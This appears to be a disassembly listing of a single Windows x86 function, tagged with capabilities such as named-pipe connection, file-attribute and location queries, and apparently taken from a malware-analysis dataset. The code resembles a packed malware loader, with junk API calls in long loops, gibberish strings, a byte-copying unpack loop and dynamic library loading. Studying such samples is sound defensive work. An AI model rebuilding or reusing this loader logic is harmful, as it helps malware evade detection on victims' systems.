Function at 0x40a930
Capabilities:
Connect pipe
Get common file path
Get file attributes
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4101f8
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x43107c]
xor eax, esp
mov dword [esp + 0x68], eax
push ebx
push esi
push edi
mov eax, dword [0x43107c]
xor eax, esp
push eax
lea eax, [esp + 0x80]
mov dword fs:[0], eax
mov edx, dword [0x432d60]
mov ecx, dword [0x532de4]
xor ebx, ebx
xor eax, eax
mov esi, 0xec58acac
nop
cmp eax, 0x8450db
jne 0x40a98d
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x40a9a5
mov dword [0x4343b8], esi
mov dword [0x4343bc], 0xffffffff
inc eax
cmp eax, 0xb9fa618
jl 0x40a980
mov edi, dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
mov dword [0x532de4], ecx
xor esi, esi
jmp 0x40a9c0
cmp esi, 0x562d05
jne 0x40a9d2
mov eax, dword [0x432d54]
mov dword [0x53316c], eax
cmp ecx, 0x3c
jne 0x40a9e0
push ebx
call edi
mov ecx, dword [0x532de4]
inc esi
cmp esi, 0x5f6c74
jl 0x40a9c0
cmp ecx, 0x7c
jne 0x40aa56
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov ecx, dword [0x532de4]
cmp ecx, 0x2d
jne 0x40aa56
push ebx
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov ecx, dword [0x532de4]
cmp ecx, 0x110a
jne 0x40ab52
push str.cigiyubahirifodapuviyujacej
mov dword [0x532dd8], ebx
mov dword [0x532ddc], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.yasewomazuwificulajaxisi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
call fcn.00401b11
xor eax, eax
mov edi, 7
mov word [esp + 0x38], ax
add esp, 4
lea esi, [edi - 6]
lea eax, [esp + 0x34]
mov dword [esp + 0x48], edi
mov dword [esp + 0x44], ebx
call fcn.00401120
push str.0__s__d__f
mov dword [esp + 0x8c], ebx
call fcn.00401c22
add esp, 4
push ebx
call fcn.00401b11
xor ecx, ecx
add esp, 4
lea eax, [esp + 0x18]
mov dword [esp + 0x2c], edi
mov dword [esp + 0x28], ebx
mov word [esp + 0x18], cx
call fcn.00401120
push ebx
call fcn.00401b11
add esp, 4
push 0x42ef10
push 0x433eb8
call fcn.004015ec
mov esi, 8
add esp, 8
cmp dword [esp + 0x2c], esi
jb 0x40ab25
mov edx, dword [esp + 0x18]
push edx
call fcn.00401c3f
add esp, 4
xor eax, eax
mov dword [esp + 0x88], 0xffffffff
mov dword [esp + 0x2c], edi
mov dword [esp + 0x28], ebx
mov word [esp + 0x18], ax
cmp dword [esp + 0x48], esi
jb 0x40ab52
mov ecx, dword [esp + 0x34]
push ecx
call fcn.00401c3f
add esp, 4
call fcn.0040a5e0
xor esi, esi
cmp dword [0x532de4], ebx
jbe 0x40abad
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
jmp 0x40ab70
mov edx, dword [0x53316c]
mov dword [esp + 0x10], edx
mov eax, 0xa231
add dword [esp + 0x10], eax
cmp dword [0x532de4], 0x5ab
mov eax, dword [esp + 0x10]
mov cl, byte [eax + esi]
mov edx, dword [0x532b04]
mov byte [edx + esi], cl
jne 0x40aba4
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x532de4]
jb 0x40ab70
push 0x42ef14
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.0040a620
call fcn.0040a8c0
call fcn.0040a610
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea eax, [esp + 0x50]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x40abf8
cmp dword [esp + 0x58], 0xf5bed7
jne 0x40ac01
inc esi
cmp esi, 0x1ece7a52
jl 0x40abd5
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor esi, esi
nop
cmp dword [0x532de4], 0xcc1
jne 0x40ac1e
call ebx
cmp esi, 0x12e6c3
jne 0x40ac2b
call fcn.0040a5d0
cmp dword [0x532de4], 0x3dc
mov dword [0x532b0c], 0x8e46a6f0
jne 0x40ac54
push 0
push 0
push 0
push 0
push 0
push 0
push str.hobojedavonazovogihayudenohavel
call edi
inc esi
cmp esi, 0x1519a5
jl 0x40ac10
mov ecx, dword [esp + 0x80]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x68]
xor ecx, esp
call fcn.004015dd
mov esp, ebp
pop ebp
ret